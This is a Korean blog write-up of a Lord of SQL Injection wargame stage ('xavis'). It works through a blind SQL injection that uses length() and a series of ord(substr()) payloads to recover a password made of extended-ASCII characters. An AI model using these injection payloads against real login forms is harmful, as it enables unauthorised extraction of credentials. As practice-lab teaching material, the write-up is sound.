Lord of injection xavis(19)단계
안녕하세요!! 슬슬 날이 쌀쌀해지네요.. 추워질려나봅니다!
그럼 코드 보시죠!
블라인드인젝션문제이고,
금지된것은 prob , _(언더바) , .(쩜) , ( ) 인것같습니다! 그리고
regex와 like 함수를 막고있네요!!
일단 항상 그랬듯 길이부터알아냅시다!
?pw=1234 ' or length(pw) =40 %23 을 해줬는데요,,
이번 문제는 길이가 40인듯합니다..
그럼 값을알아봅시다!
값은 substr 함수를 이용하여 알아보겠습니다!
문제가 좀 이상한것같아 아스키코드표에있는 값을 전부 대입해보니 값이안나와
확장 아스키코드표를 참고해 값을구해보니 나왔습니다.
확장아스키코드는 128~255 까지이고
확장아스키코드란 영문자와 숫자로 표현할수없는 문자를 넣어 확장하여 만든것입니다.
그럼 ord 함수를 이용해 풀어보겠습니다!
ascii를 와 ord의 차이점은
ascii는
Returns the numeric value of the leftmost character of the string str. Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII() works for 8-bit characters.
문자열 str 의 가장 왼쪽 문자의 숫자 값을 반환한다. str이 빈 문자열인 경우 0을 반환하십시오. 돌아온다
str이 NULL이면 NULL. ASCII()는 8비트 문자로 작동한다.
ord는
If the leftmost character of the string str is a multibyte character, returns the code for that character,
calculated from the numeric values of its constituent bytes using this formula
문자열의 왼쪽 끝 문자가 멀티바이트 문자인 경우 해당 문자의 코드를 반환하십시오.
If the leftmost character is not a multibyte character, ORD() returns the same value as the ASCII() function.
가장 왼쪽의 문자가 멀티 바이트 문자가 아닌 경우 ORD ()는 ASCII () 함수와 동일한 값을 반환합니다
더 자세한 정보는 https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
에서 확인하시면 되겠습니다!
위 사진과같이 하나에 4byte라고 알수있는데요,
ord 함수를 이용해 얻은 확장 아스키코드값 10진수의 값은 이렇게 10개입니다.
제가 아까 길이가 40이라고 했는데 pw의 갯수는 10개입니다.
한 글자당 4byte를 차지하고있어 4byte x 10 = 40 이라고 뜬것같습니다!
?pw=1234 'or ord(substr(pw,1,1))=184 %23
?pw=1234 'or ord(substr(pw,2,1))=249 %23
?pw=1234 'or ord(substr(pw,3,1))=197 %23
?pw=1234 'or ord(substr(pw,4,1))=176 %23
?pw=1234 'or ord(substr(pw,5,1))=198 %23
?pw=1234 'or ord(substr(pw,6,1))=208 %23
?pw=1234 'or ord(substr(pw,7,1))=196 %23
?pw=1234 'or ord(substr(pw,8,1))=161 %23
?pw=1234 'or ord(substr(pw,9,1))=164 %23
?pw=1234 'or ord(substr(pw,10,1))=187%23
확장 아스키로 알아낸 10진수 값입니다.
그럼 이 값을 변환하면(사이트 https://www.branah.com/ascii-converter)
¸ùŰÆÐÄ¡¤» 가 나옵니다.
?pw=¸ùŰÆÐÄ¡¤» 을 입력해주면 clear가 됩니다..
이 문제 처음엔 정말 쉬운문제로봤는데
너무 어려웠습니다ㅠㅠ..